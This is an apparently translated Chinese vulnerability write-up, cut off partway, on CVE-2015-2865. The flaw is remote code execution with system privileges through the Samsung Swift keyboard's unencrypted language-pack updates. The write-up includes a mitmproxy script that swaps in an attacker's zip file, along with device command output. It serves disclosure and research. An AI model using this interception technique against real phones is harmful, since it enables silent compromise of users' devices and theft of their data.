作者:
路人甲
·
2015/06/17 15:55
Remote Code Execution as System User on Samsung Phones
Summary
在能够劫持你的网络前提下,攻击者能够利用三星自带输入法更新机制进行远程代码执行并且具有 system 权限.
Swift输入法预装在三星手机中并且不能卸载和禁用.即使修改了默认输入法,这个漏洞也是可以利用的.
CVE-2015-2865
可能造成的危害:
- 获取传感器以及资源,例如GPS/照相机/麦克风
- 静默安装恶意软件
- 篡改app 或者手机行为
- 窃听通话或者短信
- 窃取个人敏感数据比如照片/短信.
How it Works
手机厂商(OEMs)和运营商(carriers)经常在设备中预装第三方应用,而且这些应用常常拥有较高的权限.就比如这次三星预装的Swift输入法
➜ /tmp aapt d badging SamsungIME.apk | head -3
package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0'
sdkVersion:'18'
targetSdkVersion:'19'
➜ /tmp shasum SamsungIME.apk
72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk
➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared
A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")
上面的信息表明此输入法用的是三星系统证书签名的,并且拥有 system 权限只比 root 权限差一点.
Accessibility
此漏洞的攻击向量需要攻击者能够篡改上行网络流量,当输入法开始升级后漏洞将在设备重启后随机自动触发(无需交互).可以在近距离的情况下利用大菠萝/伪基站,以及同局域网的情况下利用 arp 攻击.完全远程的话可以利用DNS劫持或者劫持路由器/运营商...(都这么屌了...)
整个测试过程是在一个有 USB 网卡的 linux 虚拟机下进行的,所有的 http流量被透明代理到mitmproxy上,之后通过脚本生成注入攻击载荷.
Discovery of the Vulnerability
Swift输入法有一个升级功能可以添加一个新的语言包到现在有的语言中.当用户下载新的语言包的时候.会进行如下请求:
GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip
← 200 application/zip 995.63kB 601ms
压缩包下载后会被解压到以下目录:
/data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev>/.
压缩包内容:
[email protected]:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l
-rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1
-rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3
-rw------- system system 413 2015-06-11 15:16 charactermap.json
-rw------- system system 36 2015-06-11 15:16 extraData.json
-rw------- system system 55 2015-06-11 15:16 punctuation.json
可以看出压缩包中的文件是由 system user 写入的.权限很高哦,可以写入很多位置哦.因为压缩包和请求都是明文的,咱们可以尝试去篡改它.
可以通过 wifi 代理完成这个尝试,写了一个脚本来提高效率,脚本作用是当有语言包的请求时进行修改
def request(context, flow):
if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"):
return
resp = HTTPResponse(
[1, 1], 200, "OK",
ODictCaseless([["Content-Type", "application/zip"]]),
"helloworld")
with open('test_language.zip', 'r') as f:
payload = f.read()
resp.content = payload
resp.headers["Content-Length"] = [len(payload)]
flow.reply(resp)
Payload非常简单,就一个文件
➜ /tmp unzip -l test_keyboard.zip
Archive: test_keyboard.zip
Length Date Time Name
-------- ---- ---- ----
6 06-11-15 15:33 test
-------- -------
6 1 file
修改之后查看/data/data/com.sec.android.inputmethod/app_SwiftKey/